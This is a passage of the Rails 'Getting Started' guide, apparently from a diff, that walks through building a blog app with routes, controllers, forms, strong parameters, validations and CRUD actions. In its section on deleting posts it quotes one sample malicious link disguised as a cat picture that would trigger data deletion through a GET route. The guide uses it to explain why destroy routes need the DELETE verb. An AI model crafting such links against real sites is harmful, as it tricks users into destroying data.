+If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
+
+TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
+
+Getting Up and Running
+----------------------
+
+Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
+
+In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations.
+
+In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this:
+
+
+
+It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
+
+### Laying down the ground work
+
+The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now — by visiting <http://localhost:3000/posts/new> — Rails will give you a routing error:
+
+
+
+This is because there is nowhere inside the routes for the application — defined inside `config/routes.rb` — that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them.
+
+ To do this, you're going to need to create a route inside `config/routes.rb` file, on a new line between the `do` and the `end` for the `draw` method:
+
+```ruby
+get "posts/new"
+```
+
+This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
+
+With the route defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see another routing error:
+
+
+
+This error occurs because the route needs to have a controller defined in order to serve the request. The solution to this particular problem is simple: create a controller called `PostsController`. You can do this by running this command:
+
+```bash
+$ rails g controller posts
+```
+
+If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller:
+
+```ruby
+class PostsController < ApplicationController
+end
+```
+
+A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
+
+If you refresh <http://localhost:3000/posts/new> now, you'll get a new error:
+
+
+
+This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
+
+To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this:
+
+```ruby
+def new
+end
+```
+
+With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error:
+
+
+
+You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out.
+
+In the above image, the bottom line has been truncated. Let's see what the full thing looks like:
+
+<blockquote>
+Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
+</blockquote>
+
+That's quite a lot of text! Let's quickly go through and understand what each part of it does.
+
+The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`.
+
+The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English — or "en" — template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly use [...]
+
+The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths.
+
+The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to crea [...]
+
+Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it:
+
+```html
+<h1>New Post</h1>
+```
+
+When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
+
+### The first form
+
+To create a form within this template, you will use a <em>form
+builder</em>. The primary form builder for Rails is provided by a helper
+method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`:
+
+```html+erb
+<%= form_for :post do |f| %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+```
+
+If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
+
+When you call `form_for`, you pass it an identifying object for this
+form. In this case, it's the symbol `:post`. This tells the `form_for`
+helper what this form is for. Inside the block for this method, the
+`FormBuilder` object — represented by `f` — is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form.
+
+There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
+
+The form needs to use a different URL in order to go somewhere else.
+This can be done quite simply with the `:url` option of `form_for`.
+Typically in Rails, the action that is used for new form submissions
+like this is called "create", and so the form should be pointed to that action.
+
+Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this:
+
+```html+erb
+<%= form_for :post, url: { action: :create } do |f| %>
+```
+
+In this example, a `Hash` object is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. For this to work, you will need to add a route to `config/routes.rb`, right underneath the one for "posts/new":
+
+```ruby
+post "posts" => "posts#create"
+```
+
+By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
+
+With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error:
+
+
+
+You now need to create the `create` action within the `PostsController` for this to work.
+
+### Creating posts
+
+To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action:
+
+```ruby
+class PostsController < ApplicationController
+ def new
+ end
+
+ def create
+ end
+end
+```
+
+If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database.
+
+When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this:
+
+```ruby
+def create
+ render text: params[:post].inspect
+end
+```
+
+The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns an `ActiveSupport::HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
+
+If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
+
+```ruby
+{"title"=>"First post!", "text"=>"This is my first post."}
+```
+
+This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
+
+### Creating the Post model
+
+Models in Rails use a singular name, and their corresponding database tables use
+a plural name. Rails provides a generator for creating models, which
+most Rails developers tend to use when creating new models.
+To create the new model, run this command in your terminal:
+
+```bash
+$ rails generate model Post title:string text:text
+```
+
+With that command we told Rails that we want a `Post` model, together
+with a _title_ attribute of type string, and a _text_ attribute
+of type text. Those attributes are automatically added to the `posts`
+table in the database and mapped to the `Post` model.
+
+Rails responded by creating a bunch of files. For
+now, we're only interested in `app/models/post.rb` and
+`db/migrate/20120419084633_create_posts.rb` (your name could be a bit
+different). The latter is responsible
+for creating the database structure, which is what we'll look at next.
+
+TIP: Active Record is smart enough to automatically map column names to
+model attributes, which means you don't have to declare attributes
+inside Rails models, as that will be done automatically by Active
+Record.
+
+### Running a Migration
+
+As we've just seen, `rails generate model` created a _database
+migration_ file inside the `db/migrate` directory.
+Migrations are Ruby classes that are designed to make it simple to
+create and modify database tables. Rails uses rake commands to run migrations,
+and it's possible to undo a migration after it's been applied to your database.
+Migration filenames include a timestamp to ensure that they're processed in the
+order that they were created.
+
+If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember,
+yours will have a slightly different name), here's what you'll find:
+
+```ruby
+class CreatePosts < ActiveRecord::Migration
+ def change
+ create_table :posts do |t|
+ t.string :title
+ t.text :text
+
+ t.timestamps
+ end
+ end
+end
+```
+
+The above migration creates a method named `change` which will be called when you
+run this migration. The action defined in this method is also reversible, which
+means Rails knows how to reverse the change made by this migration, in case you
+want to reverse it later. When you run this migration it will create a
+`posts` table with one string column and a text column. It also creates two
+timestamp fields to allow Rails to track post creation and update times.
+
+TIP: For more information about migrations, refer to [Rails Database
+Migrations](migrations.html).
+
+At this point, you can use a rake command to run the migration:
+
+```bash
+$ rake db:migrate
+```
+
+Rails will execute this migration command and tell you it created the Posts
+table.
+
+```bash
+== CreatePosts: migrating ====================================================
+-- create_table(:posts)
+ -> 0.0019s
+== CreatePosts: migrated (0.0020s) ===========================================
+```
+
+NOTE. Because you're working in the development environment by default, this
+command will apply to the database defined in the `development` section of your
+`config/database.yml` file. If you would like to execute migrations in another
+environment, for instance in production, you must explicitly pass it when
+invoking the command: `rake db:migrate RAILS_ENV=production`.
+
+### Saving data in the controller
+
+Back in `posts_controller`, we need to change the `create` action
+to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb`
+and change the `create` action to look like this:
+
+```ruby
+def create
+ @post = Post.new(params[:post])
+
+ @post.save
+ redirect_to action: :show, id: @post.id
+end
+```
+
+Here's what's going on: every Rails model can be initialized with its
+respective attributes, which are automatically mapped to the respective
+database columns. In the first line we do just that (remember that
+`params[:post]` contains the attributes we're interested in). Then,
+`@post.save` is responsible for saving the model in the database.
+Finally, we redirect the user to the `show` action,
+which we'll define later.
+
+TIP: As we'll see later, `@post.save` returns a boolean indicating
+whether the model was saved or not.
+
+### Showing Posts
+
+If you submit the form again now, Rails will complain about not finding
+the `show` action. That's not very useful though, so let's add the
+`show` action before proceeding. Open `config/routes.rb` and add the following route:
+
+```ruby
+get "posts/:id" => "posts#show"
+```
+
+The special syntax `:id` tells rails that this route expects an `:id`
+parameter, which in our case will be the id of the post. Note that this
+time we had to specify the actual mapping, `posts#show` because
+otherwise Rails would not know which action to render.
+
+As we did before, we need to add the `show` action in
+`app/controllers/posts_controller.rb` and its respective view.
+
+```ruby
+def show
+ @post = Post.find(params[:id])
+end
+```
+
+A couple of things to note. We use `Post.find` to find the post we're
+interested in. We also use an instance variable (prefixed by `@`) to
+hold a reference to the post object. We do this because Rails will pass all instance
+variables to the view.
+
+Now, create a new file `app/views/posts/show.html.erb` with the following
+content:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+```
+
+If you now go to
+<http://localhost:3000/posts/new> you'll *almost* be able to create a post. Try
+it! You should get an error that looks like this:
+
+
+
+Rails has several security features that help you write secure applications,
+and you're running into one of them now. This one is called
+'strong_parameters,' which requires us to tell Rails exactly which parameters
+we want to accept in our controllers. In this case, we want to allow the
+'title' and 'text' parameters, so change your `create` controller action to
+look like this:
+
+```
+ def create
+ @post = Post.new(params[:post].permit(:title, :text))
+
+ @post.save
+ redirect_to action: :show, id: @post.id
+ end
+```
+
+See the `permit`? It allows us to accept both `title` and `text` in this
+action. With this change, you should finally be able to create new `Post`s.
+Visit <http://localhost:3000/posts/new> and give it a try!
+
+
+
+### Listing all posts
+
+We still need a way to list all our posts, so let's do that. As usual,
+we'll need a route placed into `config/routes.rb`:
+
+```ruby
+get "posts" => "posts#index"
+```
+
+And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file:
+
+```ruby
+def index
+ @posts = Post.all
+end
+```
+
+And then finally a view for this action, located at `app/views/posts/index.html.erb`:
+
+```html+erb
+<h1>Listing posts</h1>
+
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Text</th>
+ </tr>
+
+ <% @posts.each do |post| %>
+ <tr>
+ <td><%= post.title %></td>
+ <td><%= post.text %></td>
+ </tr>
+ <% end %>
+</table>
+```
+
+Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created.
+
+### Adding links
+
+You can now create, show, and list posts. Now let's add some links to
+navigate through pages.
+
+Open `app/views/welcome/index.html.erb` and modify it as follows:
+
+```html+erb
+<h1>Hello, Rails!</h1>
+<%= link_to "My Blog", controller: "posts" %>
+```
+
+The `link_to` method is one of Rails' built-in view helpers. It creates a
+hyperlink based on text to display and where to go - in this case, to the path
+for posts.
+
+Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
+
+```erb
+<%= link_to 'New post', action: :new %>
+```
+
+This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template — `app/views/posts/new.html.erb` — to go back to the `index` action. Do this by adding this underneath the form in this template:
+
+```erb
+<%= form_for :post do |f| %>
+ ...
+<% end %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again:
+
+```html+erb
+<p>
+ <strong>Title:</strong>
+ <%= @post.title %>
+</p>
+
+<p>
+ <strong>Text:</strong>
+ <%= @post.text %>
+</p>
+
+<%= link_to 'Back', action: :index %>
+```
+
+TIP: If you want to link to an action in the same controller, you don't
+need to specify the `:controller` option, as Rails will use the current
+controller by default.
+
+TIP: In development mode (which is what you're working in by default), Rails
+reloads your application with every browser request, so there's no need to stop
+and restart the web server when a change is made.
+
+### Allowing the update of fields
+
+The model file, `app/models/post.rb` is about as simple as it can get:
+
+```ruby
+class Post < ActiveRecord::Base
+end
+```
+
+There isn't much to this file - but note that the `Post` class inherits from
+`ActiveRecord::Base`. Active Record supplies a great deal of functionality to
+your Rails models for free, including basic database CRUD (Create, Read, Update,
+Destroy) operations, data validation, as well as sophisticated search support
+and the ability to relate multiple models to one another.
+
+### Adding Some Validation
+
+Rails includes methods to help you validate the data that you send to models.
+Open the `app/models/post.rb` file and edit it:
+
+```ruby
+class Post < ActiveRecord::Base
+ validates :title, presence: true,
+ length: { minimum: 5 }
+end
+```
+
+These changes will ensure that all posts have a title that is at least five
+characters long. Rails can validate a variety of conditions in a model,
+including the presence or uniqueness of columns, their format, and the
+existence of associated objects. Validations are covered in detail in [Active
+Record Validations](active_record_validations.html)
+
+With the validation now in place, when you call `@post.save` on an invalid
+post, it will return `false`. If you open `app/controllers/posts_controller.rb`
+again, you'll notice that we don't check the result of calling `@post.save`
+inside the `create` action. If `@post.save` fails in this situation, we need to
+show the form back to the user. To do this, change the `new` and `create`
+actions inside `app/controllers/posts_controller.rb` to these:
+
+```ruby
+def new
+ @post = Post.new
+end
+
+def create
+ @post = Post.new(params[:post].permit(:title, :text))
+
+ if @post.save
+ redirect_to action: :show, id: @post.id
+ else
+ render 'new'
+ end
+end
+```
+
+The `new` action is now creating a new instance variable called `@post`, and
+you'll see why that is in just a few moments.
+
+Notice that inside the `create` action we use `render` instead of `redirect_to` when `save`
+returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request.
+
+If you reload
+<http://localhost:3000/posts/new> and
+try to save a post without a title, Rails will send you back to the
+form, but that's not very useful. You need to tell the user that
+something went wrong. To do that, you'll modify
+`app/views/posts/new.html.erb` to check for error messages:
+
+```html+erb
+<%= form_for :post, url: { action: :create } do |f| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+A few things are going on. We check if there are any errors with
+`@post.errors.any?`, and in that case we show a list of all
+errors with `@post.errors.full_messages`.
+
+`pluralize` is a rails helper that takes a number and a string as its
+arguments. If the number is greater than one, the string will be automatically pluralized.
+
+The reason why we added `@post = Post.new` in `posts_controller` is that
+otherwise `@post` would be `nil` in our view, and calling
+`@post.errors.any?` would throw an error.
+
+TIP: Rails automatically wraps fields that contain an error with a div
+with class `field_with_errors`. You can define a css rule to make them
+standout.
+
+Now you'll get a nice error message when saving a post without title when you
+attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new).
+
+
+
+### Updating Posts
+
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts.
+
+The first step we'll take is adding an `edit` action to `posts_controller`.
+
+Start by adding a route to `config/routes.rb`:
+
+```ruby
+get "posts/:id/edit" => "posts#edit"
+```
+
+And then add the controller action:
+
+```ruby
+def edit
+ @post = Post.find(params[:id])
+end
+```
+
+The view will contain a form similar to the one we used when creating
+new posts. Create a file called `app/views/posts/edit.html.erb` and make
+it look as follows:
+
+```html+erb
+<h1>Editing post</h1>
+
+<%= form_for :post, url: { action: :update, id: @post.id },
+method: :patch do |f| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+This time we point the form to the `update` action, which is not defined yet
+but will be very soon.
+
+The `method: :patch` option tells Rails that we want this form to be submitted
+via the `PATCH` HTTP method which is the HTTP method you're expected to use to
+**update** resources according to the REST protocol.
+
+TIP: By default forms built with the _form_for_ helper are sent via `POST`.
+
+Next, we need to add the `update` action. The file
+`config/routes.rb` will need just one more line:
+
+```ruby
+patch "posts/:id" => "posts#update"
+```
+
+And then create the `update` action in `app/controllers/posts_controller.rb`:
+
+```ruby
+def update
+ @post = Post.find(params[:id])
+
+ if @post.update(params[:post].permit(:title, :text))
+ redirect_to action: :show, id: @post.id
+ else
+ render 'edit'
+ end
+end
+```
+
+The new method, `update`, is used when you want to update a record
+that already exists, and it accepts a hash containing the attributes
+that you want to update. As before, if there was an error updating the
+post we want to show the form back to the user.
+
+TIP: You don't need to pass all attributes to `update`. For
+example, if you'd call `@post.update(title: 'A new title')`
+Rails would only update the `title` attribute, leaving all other
+attributes untouched.
+
+Finally, we want to show a link to the `edit` action in the list of all the
+posts, so let's add that now to `app/views/posts/index.html.erb` to make it
+appear next to the "Show" link:
+
+```html+erb
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Text</th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @posts.each do |post| %>
+ <tr>
+ <td><%= post.title %></td>
+ <td><%= post.text %></td>
+ <td><%= link_to 'Show', action: :show, id: post.id %></td>
+ <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
+ </tr>
+<% end %>
+</table>
+```
+
+And we'll also add one to the `app/views/posts/show.html.erb` template as well,
+so that there's also an "Edit" link on a post's page. Add this at the bottom of
+the template:
+
+```html+erb
+...
+
+<%= link_to 'Back', action: :index %>
+| <%= link_to 'Edit', action: :edit, id: @post.id %>
+```
+
+And here's how our app looks so far:
+
+
+
+### Using partials to clean up duplication in views
+
+Our `edit` page looks very similar to the `new` page, in fact they
+both share the same code for displaying the form. Let's remove some duplication
+by using a view partial. By convention, partial files are prefixed by an
+underscore.
+
+TIP: You can read more about partials in the
+[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+
+Create a new file `app/views/posts/_form.html.erb` with the following
+content:
+
+```html+erb
+<%= form_for @post do |f| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+ this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+ <p>
+ <%= f.label :title %><br>
+ <%= f.text_field :title %>
+ </p>
+
+ <p>
+ <%= f.label :text %><br>
+ <%= f.text_area :text %>
+ </p>
+
+ <p>
+ <%= f.submit %>
+ </p>
+<% end %>
+```
+
+Everything except for the `form_for` declaration remained the same.
+How `form_for` can figure out the right `action` and `method` attributes
+when building the form will be explained in just a moment. For now, let's update the
+`app/views/posts/new.html.erb` view to use this new partial, rewriting it
+completely:
+
+```html+erb
+<h1>New post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+Then do the same for the `app/views/posts/edit.html.erb` view:
+
+```html+erb
+<h1>Edit post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', action: :index %>
+```
+
+Point your browser to <http://localhost:3000/posts/new> and
+try creating a new post. Everything still works. Now try editing the
+post and you'll receive the following error:
+
+
+
+To understand this error, you need to understand how `form_for` works.
+When you pass an object to `form_for` and you don't specify a `:url`
+option, Rails will try to guess the `action` and `method` options by
+checking if the passed object is a new record or not. Rails follows the
+REST convention, so to create a new `Post` object it will look for a
+route named `posts_path`, and to update a `Post` object it will look for
+a route named `post_path` and pass the current object. Similarly, rails
+knows that it should create new objects via POST and update them via
+PATCH.
+
+If you run `rake routes` from the console you'll see that we already
+have a `posts_path` route, which was created automatically by Rails when we
+defined the route for the index action.
+However, we don't have a `post_path` yet, which is the reason why we
+received an error before. With your server running you can view your routes by visiting [localhost:3000/rails/info/routes](http://localhost:3000/rails/info/routes), or you can generate them from the command line by running `rake routes`:
+
+```bash
+$ rake routes
+
+ posts GET /posts(.:format) posts#index
+posts_new GET /posts/new(.:format) posts#new
+ POST /posts(.:format) posts#create
+ GET /posts/:id(.:format) posts#show
+ GET /posts/:id/edit(.:format) posts#edit
+ PATCH /posts/:id(.:format) posts#update
+ root / welcome#index
+```
+
+To fix this, open `config/routes.rb` and modify the `get "posts/:id"`
+line like this:
+
+```ruby
+get "posts/:id" => "posts#show", as: :post
+```
+
+The `:as` option tells the `get` method that we want to make routing helpers
+called `post_url` and `post_path` available to our application. These are
+precisely the methods that the `form_for` needs when editing a post, and so now
+you'll be able to update posts again.
+
+NOTE: The `:as` option is available on the `post`, `patch`, `put`, `delete` and `match`
+routing methods also.
+
+### Deleting Posts
+
+We're now ready to cover the "D" part of CRUD, deleting posts from the
+database. Following the REST convention, we're going to add a route for
+deleting posts to `config/routes.rb`:
+
+```ruby
+delete "posts/:id" => "posts#destroy"
+```
+
+The `delete` routing method should be used for routes that destroy
+resources. If this was left as a typical `get` route, it could be possible for
+people to craft malicious URLs like this:
+
+```html
+<a href='http://example.com/posts/1/destroy'>look at this cat!</a>
+```
+
+We use the `delete` method for destroying resources, and this route is mapped to
+the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is
+provided below:
+
+```ruby
+def destroy
+ @post = Post.find(params[:id])
+ @post.destroy
+
+ redirect_to action: :index
+end
+```
+
+You can call `destroy` on Active Record objects when you want to delete
+them from the database. Note that we don't need to add a view for this
+action since we're redirecting to the `index` action.
+
+Finally, add a 'destroy' link to your `index` action template
+(`app/views/posts/index.html.erb`) to wrap everything
+together.
+
+```html+erb
+<h1>Listing Posts</h1>
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Text</th>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @posts.each do |post| %>
+ <tr>
+ <td><%= post.title %></td>
+ <td><%= post.text %></td>
+ <td><%= link_to 'Show', action: :show, id: post.id %></td>
+ <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
+ <td><%= link_to 'Destroy', { action: :destroy, id: post.id },
+ method: :delete, data: { confirm: 'Are you sure?' } %></td>
+ </tr>
+<% end %>
+</table>
+```
+
+Here we're using `link_to` in a different way. We wrap the
+`:action` and `:id` attributes in a hash so that we can pass those two keys in
+first as one argument, and then the final two keys as another argument. The `:method` and `:'data-confirm'`
+options are used as HTML5 attributes so that when the link is clicked,
+Rails will first show a confirm dialog to the user, and then submit the link with method `delete`.
+This is done via the JavaScript file `jquery_ujs` which is automatically included
+into your application's layout (`app/views/layouts/application.html.erb`) when you
+generated the application. Without this file, the confirmation dialog box wouldn't appear.
+
+
+
+Congratulations, you can now create, show, list, update and destroy
+posts. In the next section will see how Rails can aid us when creating
+REST applications, and how we can refactor our Blog app to take
+advantage of it.
+
+### Going Deeper into REST
+
+We've now covered all the CRUD actions of a REST app. We did so by
+declaring separate routes with the appropriate verbs into
+`config/routes.rb`. Here's how that file looks so far:
+
+```ruby
+get "posts" => "posts#index"
+get "posts/new"
+post "posts" => "posts#create"
+get "posts/:id" => "posts#show", as: :post
+get "posts/:id/edit" => "posts#edit"
+patch "posts/:id" => "posts#update"
+delete "posts/:id" => "posts#destroy"
+```
+
+That's a lot to type for covering a single **resource**. Fortunately,
+Rails provides a `resources` method which can be used to declare a
+standard REST resource. Here's how `config/routes.rb` looks after the
+cleanup:
+
+```ruby
+Blog::Application.routes.draw do
+
+ resources :posts
+
+ root to: "welcome#index"
+end
+```
+
+If you run `rake routes`, you'll see that all the routes that we
+declared before are still available:
+
+```bash
+$ rake routes
+ posts GET /posts(.:format) posts#index
+ POST /posts(.:format) posts#create
+ new_post GET /posts/new(.:format) posts#new
+edit_post GET /posts/:id/edit(.:format) posts#edit
+ post GET /posts/:id(.:format) posts#show
+ PATCH /posts/:id(.:format) posts#update
+ PUT /posts/:id(.:format) posts#update
+ DELETE /posts/:id(.:format) posts#destroy
+ root / welcome#index
+```
+
+Also, if you go through the motions of creating, updating and deleting
+posts the app still works as before.
+
+TIP: In general, Rails encourages the use of resources objects in place
+of declaring routes manually. It was only done in this guide as a learning
+exercise. For more information about routing, see
+[Rails Routing from the Outside In](routing.html).
+
+Adding a Second Model
+---------------------
+
+It's time to add a second model to the application. The second model will handle comments on
+posts.
+
+### Generating a Model
+
+We're going to see the same generator that we used before when creating
+the `Post` model. This time we'll create a `Comment` model to hold
+reference of post comments. Run this command in your terminal:
+
+```bash
+$ rails generate model Comment commenter:string body:text post:references
+```
+
+This command will generate four files:
+
+| File | Purpose |
+| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
+| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| app/models/comment.rb | The Comment model |
+| test/models/comment_test.rb | Testing harness for the comments model |
+| test/fixtures/comments.yml | Sample comments for use in testing |
+
+First, take a look at `app/models/comment.rb`:
+
+```ruby
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+```
+
+This is very similar to the `post.rb` model that you saw earlier. The difference
+is the line `belongs_to :post`, which sets up an Active Record _association_.
+You'll learn a little about associations in the next section of this guide.
+
+In addition to the model, Rails has also made a migration to create the
+corresponding database table:
+
+```ruby
+class CreateComments < ActiveRecord::Migration
+ def change
+ create_table :comments do |t|
+ t.string :commenter
+ t.text :body
+ t.references :post
+
+ t.timestamps
+ end
+
+ add_index :comments, :post_id
+ end
+end
+```
+
+The `t.references` line sets up a foreign key column for the association between
+the two models. And the `add_index` line sets up an index for this association
+column. Go ahead and run the migration:
+
+```bash
+$ rake db:migrate
+```
+
+Rails is smart enough to only execute the migrations that have not already been
+run against the current database, so in this case you will just see:
+
+```bash
+== CreateComments: migrating =================================================
+-- create_table(:comments)
+ -> 0.0008s
+-- add_index(:comments, :post_id)
+ -> 0.0003s
+== CreateComments: migrated (0.0012s) ========================================
+```
+
+### Associating Models
+
+Active Record associations let you easily declare the relationship between two
+models. In the case of comments and posts, you could write out the relationships
+this way:
+
+* Each comment belongs to one post.
+* One post can have many comments.
+
+In fact, this is very close to the syntax that Rails uses to declare this
+association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that
+makes each comment belong to a Post:
+
+```ruby
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+```
+
+You'll need to edit `app/models/post.rb` to add the other side of the association:
+
+```ruby
+class Post < ActiveRecord::Base
+ has_many :comments
+ validates :title, presence: true,
+ length: { minimum: 5 }
+ [...]
+end
+```
+
+These two declarations enable a good bit of automatic behavior. For example, if
+you have an instance variable `@post` containing a post, you can retrieve all
+the comments belonging to that post as an array using `@post.comments`.
+
+TIP: For more information on Active Record associations, see the [Active Record
+Associations](association_basics.html) guide.
+
+### Adding a Route for Comments
+
+As with the `welcome` controller, we will need to add a route so that Rails knows
+where we would like to navigate to see `comments`. Open up the
+`config/routes.rb` file again, and edit it as follows:
+
+```ruby
+resources :posts do
+ resources :comments
+end
+```
+
+This creates `comments` as a _nested resource_ within `posts`. This is another
+part of capturing the hierarchical relationship that exists between posts and
+comments.
+
+TIP: For more information on routing, see the [Rails Routing](routing.html) guide.
+
+### Generating a Controller
+
+With the model in hand, you can turn your attention to creating a matching
+controller. Again, we'll use the same generator we used before:
+
+```bash
+$ rails generate controller Comments
+```
+
+This creates six files and one empty directory:
+
+| File/Directory | Purpose |
+| -------------------------------------------- | ---------------------------------------- |
+| app/controllers/comments_controller.rb | The Comments controller |
+| app/views/comments/ | Views of the controller are stored here |
+| test/controllers/comments_controller_test.rb | The test for the controller |
+| app/helpers/comments_helper.rb | A view helper file |
+| test/helpers/comments_helper_test.rb | The test for the helper |
